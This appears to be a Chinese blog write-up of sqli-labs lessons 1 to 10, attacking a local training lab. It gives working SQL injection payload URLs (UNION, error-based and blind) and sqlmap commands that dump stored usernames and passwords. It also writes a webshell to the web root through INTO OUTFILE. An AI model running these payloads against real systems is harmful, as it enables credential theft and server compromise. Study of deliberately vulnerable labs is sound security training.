煊奕
煊奕

sqli-labs(1-10)

前言:

此文用于记录学习SQL注入过程中的所得所思，因为可以说是菜鸟了，需要参考大佬的解题方法，所以一切慢慢来吧，希望越来越强。

做题过程中的各种知识

  1. 在mysql数据库中，单行注释有#和--，在实际操作中#号一般用%23来表示。而--则用--+来表示。因为在URL中，如果在最后加上-- ，浏览器在发送请求的时候会把URL末尾的空格舍去，而用--+代替--，原因是+在URL被URL编码后会变成空格。
  2. 与数据库相关的内容：
  • information_schema，系统数据库，包含所有数据库相关信息。
  • information_schema.schemata中schema_name列，字段为所有数据库名称。
  • information_schema.tables中table_name列对应数据库所有表名，其中table_schema列是所有数据库名。
  • information_schema.columns中，column_name列对应所有列名，其中table_schema列也对应所有数据库名，table_name列也对应所有表名。
  1. 联合查询时需要将前面的查询结果限定为空集，后面的查询结果才能显示出来。
  2. concat(),concat_ws()与及group_concat()的用法
  3. 其他相关知识点在文末附有相应链接，就不在这赘述了。

Less-1

手工UNION联合查询注入

  1. 根据题目提示，输入http://localhost:8088/sqlilabs/Less-1/?id=1显示正常。
    sqli-labs(1-10)_第1张图片
  2. 加个单引号看看，http://localhost:8088/sqlilabs/Less-1/?id=1'显示语句出错。
    sqli-labs(1-10)_第2张图片
  3. 通过http://localhost:8088/sqlilabs/Less-1/?id=1' %23或http://localhost:8088/sqlilabs/Less-1/?id=1'--+或http://localhost:8088/sqlilabs/Less-1/?id=1' and '1'='1 可知，是单引号字符型注入。
    sqli-labs(1-10)_第3张图片
  4. 下面开始构造语句，首先先了解相关的数据库内容：
  • information_schema，系统数据库，包含所有数据库相关信息。

  • information_schema.schemata中schema_name列，字段为所有数据库名称。


    sqli-labs(1-10)_第4张图片
    SCHEMATA

  • information_schema.tables中table_name列对应数据库所有表名，其中table_schema列是所有数据库名。


    sqli-labs(1-10)_第5张图片
    TABLES

  • information_schema.columns中，column_name列对应所有列名，其中table_schema列也对应所有数据库名，table_name列也对应所有表名。


    sqli-labs(1-10)_第6张图片
    COLUMNS
  1. 使用order by查列数，order by语法为：ORDER BY column1 [ASC|DESC], column2 [ASC|DESC],... 此处以数字1,2,3...指定以某一列为key进行排序，通过尝试得出列数,得出列数为3。
  • order by 3时，http://localhost:8088/sqlilabs/Less-1/?id=1' order by 3 --+，正常：
    sqli-labs(1-10)_第7张图片
  • order by 4时，http://localhost:8088/sqlilabs/Less-1/?id=1' order by 4 --+，出错：
    sqli-labs(1-10)_第8张图片
  1. 接着进行联合注入，通过回显爆出表名，列名，字段，用户名和密码。
  2. 爆数据库名:http://localhost:8088/sqlilabs/Less-1/?id=-1' union select 1,group_concat(schema_name),3 from information_schema.schemata --+
    sqli-labs(1-10)_第9张图片
  3. 爆当前security数据库的表:http://localhost:8088/sqlilabs/Less-1/?id=-1' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='security'--+
    sqli-labs(1-10)_第10张图片
  4. 爆user表的列:http://localhost:8088/sqlilabs/Less-1/?id=-1' union select 1,group_concat(column_name),3 from information_schema.columns where table_name='users' --+
    sqli-labs(1-10)_第11张图片
  5. 爆所有用户名和密码: http://localhost:8088/sqlilabs/Less-1/?id=-1' union select 1,group_concat(concat_ws(':',username,password)),3 from users --+
    sqli-labs(1-10)_第12张图片
  • 或这样构造: http://localhost:8088/sqlilabs/Less-1/?id=-1' union select 1,group_concat(username),group_concat(password) from users --+
    sqli-labs(1-10)_第13张图片

使用sqlmap工具进行注入

  1. 各个参数就不一一说明了，请参考这篇文章:11种常见SQLMAP使用方法详解

  2. 首先，直接指定相关参数，如注入类型，数据库类型等:python2 sqlmap.py -u http://localhost:8088/sqlilabs/Less-1/?id=1 --technique UE --dbms mysql --batch 得到相关信息。

    sqli-labs(1-10)_第14张图片

  3. 开始注入，爆出数据库名：python2 sqlmap.py -u http://localhost:8088/sqlilabs/Less-1/?id=1 --technique UE --dbms mysql --batch --dbs

    sqli-labs(1-10)_第15张图片

  4. 爆出security中所有表名: python2 sqlmap.py -u http://localhost:8088/sqlilabs/Less-1/?id=1 --technique UE --dbms mysql -D security --tables --batch

    sqli-labs(1-10)_第16张图片

  5. 爆出users表中的所有字段：python2 sqlmap.py -u http://localhost:8088/sqlilabs/Less-1/?id=1 --technique UE --dbms mysql -D security -T users --columns --batch

    sqli-labs(1-10)_第17张图片

  6. 爆出用户信息：python2 sqlmap.py -u http://localhost:8088/sqlilabs/Less-1/?id=1 --technique UE --dbms mysql -D security -T users -C username,password --dump --batch

    sqli-labs(1-10)_第18张图片

Less-2

  1. 首先http://localhost:8088/sqlilabs/Less-2/?id=1,正常。
  2. 加单引号http://localhost:8088/sqlilabs/Less-2/?id=1'出错提示为：
    sqli-labs(1-10)_第19张图片

    可知单引号影响了闭合，为数字型注入。
  3. 也就是不添加单引号，也不需要注释了，直接在后面添加语句，进行联合查询，构造的语句均和Less-1一样。

Less-3

  1. 加单引号http://localhost:8088/sqlilabs/Less-3/?id=1'出错：
    sqli-labs(1-10)_第20张图片
  2. 由错误提示可知后台查询语句应为select * from * where id = ('$id') LIMIT 0,1
  3. 构造http://localhost:8088/sqlilabs/Less-3/?id=1') --+ 进行测试。访问正常，猜测正确。
  4. 接下来的语句构造同上。

Less-4

  1. 加单引号http://localhost:8088/sqlilabs/Less-4/?id=1'，正常。
  2. 考虑到语句中可能为双引号，加双引号试试http://localhost:8088/sqlilabs/Less-4/?id=1", 报错：use near '"1"") LIMIT 0,1' at line, 可知查询语句应该为select * from * where id = ("$id") LIMIT 0,1
  3. 如上，构造语句为http://localhost:8088/sqlilabs/Less-4/?id=1") --+, 访问正常，接下来的构造如上。

Less-5

  1. 加单引号http://localhost:8088/sqlilabs/Less-5/?id=1'，错误use near ''1'' LIMIT 0,1' at line 1，知闭合为单引号。
  2. 输入http://localhost:8088/sqlilabs/Less-5/?id=1'--+，显示依然如下：
    sqli-labs(1-10)_第21张图片
  3. 页面出现SQL语句报错，在这可以使用：报错型盲注。构造原理与方法请参考这篇文章：详细讲解双查询注入
    还可用布尔型盲注、时间延迟型盲注等，它们都属于盲注，以后再尝试。
  4. 构造如下语句：http://localhost:8088/sqlilabs/Less-5/?id=2' and (select 1 from (select count(*),concat((select group_concat(schema_name) from information_schema.schemata),floor (rand()*2)) as x from information_schema.tables group by x) as a) --+
    sqli-labs(1-10)_第22张图片
  • 提示输出信息超过一行，说明这里数据库名组成的字符串长度超过了64位(group_concat()函数最大长度为64位)，所以需要放弃group_concat()函数，而使用limit 0,1来一个个输出。
  • limit 0,1 表示输出第一个数据。 0表示输出的起始位置，1表示跨度为1（即输出几个数据，1表示输出一个，2就表示输出两个）
  1. 更改语句为：http://localhost:8088/sqlilabs/Less-5/?id=2' and (select 1 from (select count(*),concat((select schema_name from information_schema.schemata limit 0,1),floor (rand()*2)) as x from information_schema.tables group by x) as a) --+ 得到第一个数据库的名字为 information_schema
    注意： 0是拼接上去的，这个0由rand()函数产生，是floor报错语句中输出的一部分。
    sqli-labs(1-10)_第23张图片
  • 为了方便查看，稍微改动语句：http://localhost:8088/sqlilabs/Less-5/?id=2' and (select 1 from (select count(*),concat((select concat(schema_name,';') from information_schema.schemata limit 0,1),floor(rand()*2)) as x from information_schema.tables group by x) as a)--+ 如下：
    sqli-labs(1-10)_第24张图片

  1. 继续爆其他数据库名，改变limit n,1即可：http://localhost:8088/sqlilabs/Less-5/?id=2' and (select 1 from (select count(*),concat((select concat(schema_name,';') from information_schema.schemata limit 1,1),floor(rand()*2)) as x from information_schema.tables group by x) as a) --+

    sqli-labs(1-10)_第25张图片

    sqli-labs(1-10)_第26张图片

    sqli-labs(1-10)_第27张图片

    sqli-labs(1-10)_第28张图片

    sqli-labs(1-10)_第29张图片

    当显示下面的情况时，说明已经爆完。
    sqli-labs(1-10)_第30张图片

  2. 爆security数据库中的表：
    构造：http://localhost:8088/sqlilabs/Less-5/?id=2' and (select 1 from (select count(*),concat((select concat(table_name,';') from information_schema.tables where table_schema='security' limit 0,1),floor(rand()*2)) as x from information_schema.tables group by x) as a) --+ 还是更换limit n,1一个一个爆出。

    sqli-labs(1-10)_第31张图片

    sqli-labs(1-10)_第32张图片

    sqli-labs(1-10)_第33张图片

    sqli-labs(1-10)_第34张图片

    下面说明已经爆完，同上。
    sqli-labs(1-10)_第35张图片

  3. 爆users表的列名：http://localhost:8088/sqlilabs/Less-5/?id=2' and (select 1 from (select count(*),concat((select concat(column_name,';') from information_schema.columns where table_name='users' limit 0,1),floor(rand()*2)) as x from information_schema.columns group by x) as a) --+

    sqli-labs(1-10)_第36张图片

    sqli-labs(1-10)_第37张图片

    sqli-labs(1-10)_第38张图片

  4. 爆users表中的内容:
    用户名和密码为，同样，limit n,1慢慢来吧：http://localhost:8088/sqlilabs/Less-5/?id=2' and(select 1 from (select count(*),concat((select concat(username,': ',password,';') from security.users limit 0,1),floor(rand()*2)) as x from security.users group by x) as a)--+

    sqli-labs(1-10)_第39张图片

    sqli-labs(1-10)_第40张图片

太多了，就不一一列举了。

Less-6

  1. 加单引号，正常，加双引号，报错如下：


    sqli-labs(1-10)_第41张图片
  2. 可知为闭合双引号出错，构造方法同上，这里尝试使用布尔型盲注：
  3. 先看数据库的版本， http://localhost:8088/sqlilabs/Less-6/?id=1" and 1=(if(substr(version(),1,1)=5,1,0))--+ 显示正常，说明数据库版面为5，就可以利用那个默认库information_schema了。
  4. 猜测数据库名，使用二分法。
  • 构造http://localhost:8088/sqlilabs/Less-6/?id=1" and substr(database(),1,1)>'a'-- 没报错，说明数据库名第一个大于a。
  • 接着，构造为：http://localhost:8088/sqlilabs/Less-6/?id=1" and substr(database(),1,1)>'m'--+ 还是正常的，继续。
  • 选取z, http://localhost:8088/sqlilabs/Less-6/?id=1" and substr(database(),1,1)>'z'--+ 出错，无显示。
    sqli-labs(1-10)_第42张图片
  • 所有考虑t ,也就是m和z的中间那个。http://localhost:8088/sqlilabs/Less-6/?id=1" and substr(database(),1,1)>'t'--+ 依然出错。
  • 就这样，一步一步试出第一个字母，得出为s。
  1. 下一步，判断其长度：还是二分法，慢慢试，由http://localhost:8088/sqlilabs/Less-6/?id=1" and length(database())=8--+ 访问正常知共有8个字母。然后如上一个一个试，通过substr(database(),n,1)。其实得出前面几个便可猜出为何单词，这里即为security。
  2. 下面是猜表名：http://localhost:8088/sqlilabs/Less-6/?id=1" and substr((select table_name from information_schema.tables where table_schema='security' limit 3,1),1,1)='u' --+
  • 这里工作量更大了，因为security中有四张表，每张都有id属性，下面设为limit 3,1,猜测表users的第一个字母u时才不会出错(还有第三张表uagents 即limit 2,1时猜测时也不会出错,所以得试好多次)
  • 当然，一般我们需要的应该都是users表，所以也可以直接尝试http://localhost:8088/sqlilabs/Less-6/?id=1" and substr((select table_name from information_schema.tables where table_schema='security' limit 3,1),1,5)='users' --+
  1. 接着是列：构造类似，不一一说明：
  • 第一个属性为id ，已知
  • 第二个http://localhost:8088/sqlilabs/Less-6/?id=1" and substr((select column_name from information_schema.columns where table_name='users' limit 1,1),1,8)='username' --+为username
  • 第三个为：http://localhost:8088/sqlilabs/Less-6/?id=1" and substr((select column_name from information_schema.columns where table_name='users' limit 2,1),1,8)='password' --+ 为password
  1. 最后是内容：这就更复杂了，因为每个字母都需要猜，实际工作量是非常大的，由于目前水平有限，语句的构造和注入方法都是比较愚笨的，还不知道其他更好的方法，所以就先到这里了。

Less-7

  1. 加单引号出现错误， 可以猜测 id 是一个单引号包裹的字符类型。但这样http://localhost:8088/sqlilabs/Less-7/?id=1' --+却是错的，所以考虑到可能有),于是http://localhost:8088/sqlilabs/Less-7/?id=1') --+ 还是错的，差点放弃了，最后得出http://localhost:8088/sqlilabs/Less-7/?id=1')) --+是正确的，所以可以这样构造攻击语句 ')) 攻击代码--+
  2. 通过group by 得知有三列。
  3. 由于本关卡提示使用file权限向服务器写入文件，先查看是否有写入权限。
    http://localhost:8088/sqlilabs/Less-7/?id=1')) and (select count(*) from mysql.user)>0--+ 返回正常，说明有写入权限。
  4. 试写入一个文件试试：http://localhost:8088/sqlilabs/Less-7/?id=-1')) union select 1,2,3 into outfile "F:\\tool\\phpstudy\\PHPTutorial\\WWW\\sqlilabs\\Less-7\\try.php"--+ 成功。
    sqli-labs(1-10)_第43张图片

注：有可能遇到遇到secure-file-priv问题 ，自己设置一下就好了。

  1. 现在写入webshell，http://localhost:8088/sqlilabs/Less-7/?id=-1')) union select 1,2,"" into outfile "F:\\tool\\phpstudy\\PHPTutorial\\WWW\\sqlilabs\\Less-7\\try1.php"--+
    sqli-labs(1-10)_第44张图片

  2. 使用菜刀连接下：成功


    sqli-labs(1-10)_第45张图片

Less-8

  1. 加单引号，出错，加注释http://localhost:8088/sqlilabs/Less-8/?id=1' --+ 正常。可知为单引号闭合。
  2. 接下来和Less-5差不多，就是不能基于报错型盲注。因为没有回显内容，所以只能用布尔型盲注和时间延迟型盲注。
  3. 这里有个问题，其实在Less-1时就有疑问了，但Less-1有回显报错，所以不在意，到这就又有疑问了，就是当加双引号和注释http://localhost:8088/sqlilabs/Less-8/?id=1" --+和“双引号不加注释”时http://localhost:8088/sqlilabs/Less-8/?id=1"，也是正确的，很奇怪。后来在命令行中尝试了select * from users where id='1"' limit 0,1; 发现是可以通过的，又尝试了几个情况。
    sqli-labs(1-10)_第46张图片

    sqli-labs(1-10)_第47张图片

    sqli-labs(1-10)_第48张图片

通过上面的尝试发现，加双引号时，加不加注释其实都一样，因为MySQL把一个双引号当成两个单引号了，注释在引号中根本不起作用了，所以才会出现返回正常的情况。

  1. 和之前所说的一样，使用布尔型盲注和时间延迟型盲注是比较繁琐的，所以直接使用sqlmap进行注入：
    (1)布尔型盲注
  • 爆数据库名：python2 sqlmap.py -u http://localhost:8088/sqlilabs/Less-8/?id=1 --technique B --dbms mysql --dbs --batch --threads 10
  • 爆表名：python2 sqlmap.py -u http://localhost:8088/sqlilabs/Less-8/?id=1 --technique B --dbms mysql -D security --tables --batch --threads 10
  • 爆列名：python2 sqlmap.py -u http://localhost:8088/sqlilabs/Less-8/?id=1 --technique B --dbms mysql -D security -T users --column --batch --threads 10
  • 爆内容：python2 sqlmap.py -u http://localhost:8088/sqlilabs/Less-8/?id=1 --technique B --dbms mysql -D security -T users -C username,password --dump --batch --threads 10
    (2)时间延迟型盲注（真难等）
  • 爆数据库名：python2 sqlmap.py -u http://localhost:8088/sqlilabs/Less-8/?id=1 --technique T --dbms mysql --dbs --batch
  • 爆表名：python2 sqlmap.py -u http://localhost:8088/sqlilabs/Less-8/?id=1 --technique T --dbms mysql -D security --tables --batch
  • 爆列名：python2 sqlmap.py -u http://localhost:8088/sqlilabs/Less-8/?id=1 --technique T --dbms mysql -D security -T users --column --batch
  • 爆内容：python2 sqlmap.py -u http://localhost:8088/sqlilabs/Less-8/?id=1 --technique T --dbms mysql -D security -T users -C username,password --dump --batch

Less-9

  1. 尝试使用单引号和双引号闭合（没有注释--+），发现页面回显一直正常，好迷。网上说把单双引号给退意了，不懂。
  2. 根据提示，为单引号时间延迟型盲注。
  3. 但感觉好像加什么都显示正常，不管了，直接用sqlmap跑吧。
  • 爆数据库名：python2 sqlmap.py -u http://localhost:8088/sqlilabs/Less-9/?id=1 --technique T --dbms mysql --dbs --batch
  • 爆表名：python2 sqlmap.py -u http://localhost:8088/sqlilabs/Less-9/?id=1 --technique T --dbms mysql -D security --tables --batch
  • 爆列名：python2 sqlmap.py -u http://localhost:8088/sqlilabs/Less-9/?id=1 --technique T --dbms mysql -D security -T users --column --batch
  • 爆内容：python2 sqlmap.py -u http://localhost:8088/sqlilabs/Less-9/?id=1 --technique T --dbms mysql -D security -T users -C username,password --dump --batch

Less-10

  1. 和Less-9一样，感觉输入什么都没有反应。
  2. 根据提示，为双引号时间延迟型盲注。
  3. 也是用sqlmap跑，就不多说了。

参考：

  1. MySql DB Sql注入
  2. concat(),concat_ws()与及group_concat()的用法
  3. 11种常见SQLMAP使用方法详解
  4. 详细讲解双查询注入
  5. sqli-labs Less(1-35) 小结
  6. 基于时间型盲注和基于布尔型盲注

你可能感兴趣的:(sqli-labs(1-10))

  • 复盘2019-09-20 飞翔的毛毛虫lh
    昨日计划：1.学审核的知识，审核两个小时√（心得：审核规范里只是关于审核的基本规则，具体详细的还需要自己摸索。）2.锻炼一次，公园健走半小时；仰卧起坐30个3.跟进PDCA的进程，催促各个环节的进度。√4.完成每日复盘√5.每日听书10分钟打卡√6.每日读书10分钟√（读书半个小时）7.背单词百词斩8.给二子做早教，每天至少讲一本书，√学数数1-10，√识字卡片2个，（大、人、小）五官的英文单词，
  • 《掌控习惯》1-10章学习笔记 彤达
    标题“微习惯”给予我的思考字数491001你得到什么自小艰苦的生活环境让我时刻想“跳出农门”。基于这个结果，读书时代的我每天早起跑步背单词，上课专心听讲记笔记，午休晚休前对当天所学进行“五分钟放电影”。——“功夫不负有心人”，中考我以优异成绩考取师范学校。002你做什么前十五年的职业生涯，我明白作为一名教师，要能备好课上好课，要熟悉学生擅于与家长沟通。基于这个成长流程，我努力备课上课，还勤于思考带
  • Java面试题--JVM大厂篇（1-10） 青云交 java学习路线Java大厂面试题JavajvmJavaJVM类加载器栈内存溢出Java面试题Java内存模型（JMM）MinorGC与FullGC
    引言：在这个信息时代，对于准备进入大厂工作的朋友们来说，对于JVM（Java虚拟机）的掌握是面试中的一项重要内容。下面是一些精选的JVM面试题，希望对大家能有所帮助。正文：1.JVM有哪几种垃圾收集器？每种的特点是什么？JVM主要有以下几种垃圾收集器：Serial收集器、ParNew收集器、Parallel收集器、CMS收集器和G1收集器。每种垃圾收集器都有各自的特点，比如Serial是单线程的垃
  • 每日复盘2月24日 菲雨桐520
    一、每天坚持早睡早起23（正月初一，守岁）二、锻炼身体（腰腹锻炼端腿600、步行80公里、俯卧撑900、八段锦20、其他）步行27公里俯卧撑1400静蹲60三、学习民法精讲课和刑法精讲前5讲刑法精讲1-10讲刑法视频课程1-5民法精讲教材已结束钟老师民法精讲前期课程和孟老师后续民法精讲视频已结束。四、每天坚持晨间日记和文章日更及每日复盘晨间日记24文章日更24每日复盘24五、拓展阅读学习人民日报金
  • 【Python】循环语句（while、for）、continue、break 椰椰椰耶 Pythonpython开发语言
    文章目录条件语句什么是条件语句语法格式缩进和代码块空语句练习1.输入一个整数，判断是否是奇数2.输入一个整数，判断是正数还是负数3.判断年份是否是闰年循环语句while循环for循环练习1.打印1-10的整数2.计算1-100的和3.计算5的阶乘4.求1!+2!+3!+4!+5!continue和break求若干个数的平均值条件语句什么是条件语句条件语句能够表达“如果…否则…”这样的语义.这构成了
  • JAVA 游戏中的角色 西柚第一深情jq javajava游戏开发语言
    创建三个类，组成一个继承树，表示游戏中的角色。描述如下:父类:Role。是所有角色的父类。属性:name，表示角色的名字。方法:publicintattack()，该方法返回值为角色的攻击对敌人的伤害。Role有两个子类:1)法师Magicer属性:魔法等级intlevel（范围1-10）方法:publicintattack()，该方法返回法师的攻击对敌人造成的伤害值。法师攻击伤害值为:魔法等级*
  • javascript学习笔记--for 循环练习 持续5年输出bug
    题目：打印1-10之间所有的7的倍数的个数总和首先做到控制台打印1-100之间的数：for(vari=1ivarsum=0;varcount=0;for(vari=1;i效果如图：22.png
  • 读后感:《财富自由之路》1-10章 米雪同学
    周末又重新读了李笑来老师的《财富自由之路》，对比3月旅途中浮光掠影地初读，这次的重读更细致一些。然而这本书之于我的魅力在于，即使是上次匆匆一读，从中所受到的启发，引发的重新思考甚至行为上的指引，都非常受益，所以还是愿意花时间去重读，试着更深一点的理解和学习作者的思考方式以及更重要地在实际工作生活中的应用价值。从整本书的结构和章节分布上来看，前8章的内容都是从概念认知和定义重塑的角度出发，进行深入分
  • Python学习日记（Pag.7） 空手套不到_白狼 学习pythonpycharm
    拿猜数字的案例说一下判断语句的嵌套。如有错误欢迎指正。题目：要求如下：1.数字随机产生，范围为1-102.有3次机会猜测数字，通过三层嵌套判断实现3.每次都猜不中的话，会提示猜大了还是小了示例：importrandomnum=random.randint(1,10)#随机生成1-10以内的数字guess_num=int(input("您所猜测的数字是:"))ifguess_num==num:pri
  • Sqli-labs靶场第11关详解[Sqli-labs-less-11] 「已注销」 sqli-labs数据库web安全网络安全mysqlsql
    Sqli-labs-Less-11前言：SQL注入的三个条件：①参数可控；（从参数输入就知道参数可控）②参数过滤不彻底导致恶意代码被执行；（需要在测试过程中判断）③参数带入数据库执行。（从网页功能能大致分析出是否与数据库进行交互）利用orderby来测列数测显位：mysql用1,2,3,4Mysql获取相关数据：一、数据库版本-看是否认符合information_schema查询-version(
  • sqli-labs less17 password-update语句 Yix1a
    转自一位不知名大佬的笔记-----------------------------------less-17-----------------------------------原urlhttp://192.168.137.138/sqli-labs-master/Less-17/页面显示：[PASSWORDRESET]（密码重置）说明这个页面很有可能是使用了update语句很多网页有修改密码的功
  • 政治经济学名词解释（1-10） 顾南熏
    1、生产：人们创造社会财富的实践活动。生产不仅包括创造物质资料财富的实践活动，也包括创造非物质资料的实践活动。2、生产力：是指人们改造和征服自然，生产社会财富的能力。其基本构成要素：⑴生产资料，包括劳动对象、劳动资料。⑵劳动力。3、生产关系：是指生产过程中人与人之间的关系，包括直接生产过程中人与人之间的关系和分配、交换、消费等环节上人与人的关系。生产资料所有制是生产关系的基础。4、生产方式：是指人
  • 2019.1.24我的奇跡與感恩 小洁沈豔潔
    2019.1.24小潔愛自己的指數是多少？？愛自己「1-10」有幾分？10分滿意自己的指數「1-10」有幾分？10分接納自己的指數「1-10」有幾分？10分百分之百完美的指數「1-10」有幾分？10分我的奇跡愛自己100分1、感恩睡到自然醒，聽晨起感恩冥想，做呼吸法，活力滿滿。謝謝，謝謝，謝謝，謝謝。2、感恩晴朗的天氣，冬日暖陽溫度剛剛好，午餐後坐在太陽底下正好，謝謝，謝謝，謝謝，謝謝。3、感恩嘿
  • 学习小组Day5笔记--lele ELLE0622
    主要是学习R语言的数据结构，理解和使用向量和数据框。向量1.标量和向量的区分理解元素、向量和标量元素：指的是数字或者字符串（用chr表示）等向量：多个元素组成的变量标量：一个元素组成的变量x<-c(1,2,3)#常用的向量写法，意为将x定义为由元素1，2，3组成的向量。bx<-1:10#从1-10之间所有的整数x<-seq(1,10,by=0.5)#1-10之间每隔0.5取一个数（注意是逗号不是分
  • 8-12文心日复盘 文心爱喝茶
    日复盘Day4｜Week33微博上看到的喜欢的图01-你快乐吗？如果不，为什么？（1-10分，情绪觉察）7分。有些疲惫了，想到每日一书还有4本要完成，有点压力，好在周末有比较多的自由时间。能补上。02-你学到了什么？（学习积累或者思考感悟）得到头条广告的功能又有了变化，不是“找到消费者”，而是“制造消费者”。互联网产品大神俞军说过一句话：“用户不是人，而是需求的集合。”就是说，你不能把人笼统地看成
  • 2020-06-08 b9c547d77250
    睡前阴瑜伽打卡第1-10天（于伽）睡前阴瑜伽打卡第️天：以锻炼身体为目的瑜伽都属于哈他瑜伽，而哈他是日月的意思，所以哈他瑜伽就是阴阳瑜伽。也就是说哈他瑜伽即可以表现出阳性为主的练习，也可以表现出阴性为主的练习。通常早晨适应阳性的练习，而晚上更适合阴性的练习。所以睡前阴瑜伽的练习非常重要，而且大多体式都可以在床上完成。练完之后直接睡觉，有利于睡眠质量。————————————‍♀️于伽老师睡前阴瑜伽
  • 每日三省吾身，每日进步一点，坚持带来大改变。3.5 爱笑的正正
    【小文自律行动营打卡】12/14内容:今天日总结【今日三件事】1.事件照片分类系统制作打分:1-10分完成情况:0未完成2.事件运动拉伸10分钟打分:1-10分完成情况:10完成3.事件听课程做课件打分:1-10分完成情况:完成20【今日小确幸❤️】（写出今天让你感觉幸福的小瞬间）事件:8杯水完成情况：完成【反思日志】事件:今天ppt数据不精准我从中学习到了:只有数据才能做决策改进方案：了解现有数
  • Sqli-labs——lesson11 Shock397 Sqli-labs闯关安全
    在11关是登录界面了我们可以先用bp抓包来看它的post请求来再在Hackbar里面的postdata里面对数据进行操作1、在对uname的admin加上'后回显错误，说明此处存在注入漏洞2、首先先在username中验证：用or1=1#即可验证此处确实存在注入漏洞同样在password位也能验证出来3、验证成功后我们开始构造sql语句进行注入1）判断列数:输入orderby3回显错误，2正确，说
  • 基于scrapy框架的单机爬虫与分布式爬虫 Jesse_Kyrie python爬虫综合scrapy爬虫分布式
    我们知道，对于scrapy框架来说，不仅可以单机构建复杂的爬虫项目，还可以通过简单的修改，将单机版爬虫改为分布式的，大大提高爬取效率。下面我就以一个简单的爬虫案例，介绍一下如何构建一个单机版的爬虫，并做简单修改，使其实现分布式功能。需求分析访问页面，并实现1-10页的页面爬取，并保存到data目录下解析页面，并获取到图片链接，并下载图片，保存到imgs目录下单机版爬虫准备爬虫项目使用命令构建爬虫项
  • 面试经典150题【1-10】 xxx量化研究方法 力扣刷题专项面试算法数据结构
    文章目录面试经典150题【1-10】88.合并两个有序数组27.移除元素26.删除有序数组中的重复项80.删除有序数组中的重复项II169.多数元素189.轮转数组121.买卖股票的最佳时机1122.买卖股票的最佳时机II55.跳跃游戏![在这里插入图片描述](https://img-blog.csdnimg.cn/direct/ffde8c160eba4e4599601f3d131c0dec.p
  • js表单验证（常用的正则表达式） miss-ddly javascript开发语言ecmascript
    js表单验证的正则表达式，test()方法用于检测一个字符串是否匹配某个模式，如果字符串中含有匹配的文本，则返回true，否则返回false。语法：letreg=/正则表达式主体/修饰符(可选);方括号用于查找某个范围内的字符:[1-10]查找任何从1至10的数字，[a-z]查找方括号之间的任何字符元字符是拥有特殊含义的字符\d：查找数字。\s：查找空白字符Document.box{width:3
  • 100条经典C语言题第一天（1-10） Cuit小唐 嵌入式面试刷题c语言开发语言
    准备复习一下C语言，刷一些和面试相关的问题。请填写bool,float,指针变量与“零值”比较的if语句A.Boolflag与“零值”比较的if语句1为true0为false分析这里的flag是布尔类型的变量标准的写法是if(flag)或者if(!flag)（If(flag==true)也能实现效果，但是写法赘余，不规范）B.请写出floatx与“零值”比较的if语句标准的写法：Constfloa
  • sqli-labs靶场安装 小红帽Like大灰狼 Kali网络安全sql靶场sql注入小皮搭建sqli-labs靶场
    1、下载小皮官网下载：https://www.xp.cn/2、安装小皮不要安装在有中文的目录下3、打开靶场，解压靶场靶场地址（我网盘分享了）sqli-labs靶场提取码：jctl**4、配置网站**5、浏览器访问网站安装成功
  • 《SQLi-Labs》05. Less 29~37 永别了，赛艾斯滴恩 lessandroid前端
    title:《SQLi-Labs》05.Less29~37date:2024-01-1722:49:10updated:2024-02-1218:09:10categories:WriteUp：Security-Labexcerpt:HTTP参数污染，联合注入、宽字节注入。comments:falsetags:top_image:/images/backimg/SunsetClimbing.png
  • 心之力~思维自测 看天空_3c71
    思维评估之一心四力1.好奇心（1-5分）：不敏感到敏锐，热切2.注意力（1-5分）：根据稳定性、清晰度评分，1-5分3.观察力（1-5分）：条理性，无序到有序4.垂直思考力：环环相扣逻辑思考力，思维深度，1-10分5.水平思考力：联想想象，无限穷尽程度，1-10分对于好奇心，我最近好奇心要较之前强了一些，喜欢问为什么？我给自己打2.5分对于注意力，一直以来我的注意力并不是很强，只喜欢关注自己感兴趣
  • 理想CEO《节奏把控对于创业的重要性》节选 hello有知有行
    拜读了理想汽车李总的近作，《节奏把控对于创业的重要性》从0-1和从1-10的阶段。这个节奏当然不是带节奏，而是不同阶段的规律和把控。我们大致可以把创业分成三个大的阶段：一、从0-1的验证期；二、从1-10的成长期；三、从10-100的成熟期。这三个阶段对于能力和资源的要求都是完全不同的，能力、资源与阶段错配，往往是企业失败的根源，节奏把控好是对于创业者和一号位最核心的一个能力要求。【从0-1的验证
  • 《蛤蟆先生去看心理医生》：跟着蛤蟆先生一起学心理学知识 书煮时光
    《蛤蟆先生去看心理医生》这本书太有趣了，拿起来就不想放下，通过蛤蟆先生和咨询师苍鹭就完成了心理知识的普及，这本书太好看了。蛤蟆先生第一次去做咨询时，蛤蟆就学到了一个道理：必须完成的事情，唯有靠他自己才能完成。而蛤蟆先生刚开始做心理咨询时，苍鹭给他测试了情绪，如果用1-10来表示，那么蛤蟆此时的情绪为最低点1-2之间。而在持续的咨询过程中，苍鹭先从蛤蟆小时候的经历开始，让蛤蟆明白如今的感觉、情绪都是
  • day11-作业 ______n___
    写一个生成式能够产生的数据为:1,4,27,256,3125,…,9**9gen1=(n**nforninrange(1,10))写一个生成式能够产生1-10中所有半径是偶数的圆的面积importmathgen1=(math.pi*r**2forrinrange(1,11)ifr&1==0)写一个生成式交换字典的键和值，产生一个新的字典dict1={'a':1,'b':2}dict2=dict((
  • 云服务器利用Docker搭建sqli-labs靶场环境
    在云服务器上利用Docker搭建sqli-labs靶场环境可以通过以下步骤完成：安装Docker：首先，你需要在你的云服务器上安装Docker。具体命令如下：sudoapt-getupdatesudoapt-getinstalldocker-ce拉取sqli-labs镜像：接下来，你需要从DockerHub上拉取sqli-labs的镜像。可以使用以下命令完成：dockerpullaudi1/sql
  • 小学一年级数学知识点汇总 我是knight
    原创我是knight黑马育儿9月16日建议：1.对于幼儿来说，数数是启蒙的难点之一，没必要强求1-100，能熟练的从1数到10就可以了，在非常熟练的基础上，逐步拓展到11-20，慢慢的，然后利用十位数1-10的规律，慢慢引导从1-99；2.加减一定是从加法开始，但是不要心急的教加法，先教会幼儿数字之间的朋友关系，1、9是朋友，2、8是朋友……这个是以后凑十法、借十法的基础，只要数量掌握数字之间的朋
  • java短路运算符和逻辑运算符的区别 3213213333332132 java基础
    /* * 逻辑运算符——不论是什么条件都要执行左右两边代码 * 短路运算符——我认为在底层就是利用物理电路的“并联”和“串联”实现的 * 原理很简单，并联电路代表短路或（||），串联电路代表短路与（&&）。 * * 并联电路两个开关只要有一个开关闭合，电路就会通。 * 类似于短路或（||），只要有其中一个为true（开关闭合）是
  • Java异常那些不得不说的事 白糖_ javaexception
